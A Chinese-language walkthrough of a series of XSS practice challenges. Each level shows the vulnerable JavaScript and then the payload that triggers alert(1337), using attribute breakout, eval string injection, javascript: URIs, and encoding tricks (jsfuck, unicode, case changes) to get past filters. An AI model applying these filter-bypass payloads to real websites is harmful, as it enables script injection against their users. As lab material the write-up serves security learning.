目录
dom
Ma Spaghet!
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
可以观察到代码中,spahet直接放入了h2标签中,那么就可以直接执行,但如果输入的是
?somebody=<script>alert(1)</script>
那么是无法执行的,原因在于innerHTML中官方禁用了<script>这个标签。所以使用完成xss:
?somebody=<img%20src=1%20onerror="alert(1337)">
Jefff
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
传入的值是jeff,最后还是在h1中直接执行,在"Ma name ${jeff}"中可以进行注入。
jeff=aaa";alert(1337);"
#或者
jeff=aaa"-alert(1337);-"
Ugandan Knuckles
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
过滤了<>,但wey在input里面,使用可以使用“闭合,然后输入:
wey=aaa" onfocus=alert(1337) autofocus="
#onfocus是焦点,当焦点存在时会触发里面的函数。
#autofocus是自动对焦。
Ricardo Milos
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
from表单的action进行触发:
ricardo=javascript:alert(1337)
Ah That's Hawt
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
过滤了()等,可以使用location变成字符串在进行编码。
markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">
Ligma
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
采用编码的方式绕过:将alert(1337)先jsfuck编码,然后在用unicode编码一次。
Mafia
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
过滤了符号以及函数名,可以采用匿名函数,定义函数,然后因为js严格区分大小写,使用大写可以绕过过滤。
mafia=Function(/ALERT(1337)/.source.toLowerCase())()
#.source.toLowerCase()转化成小写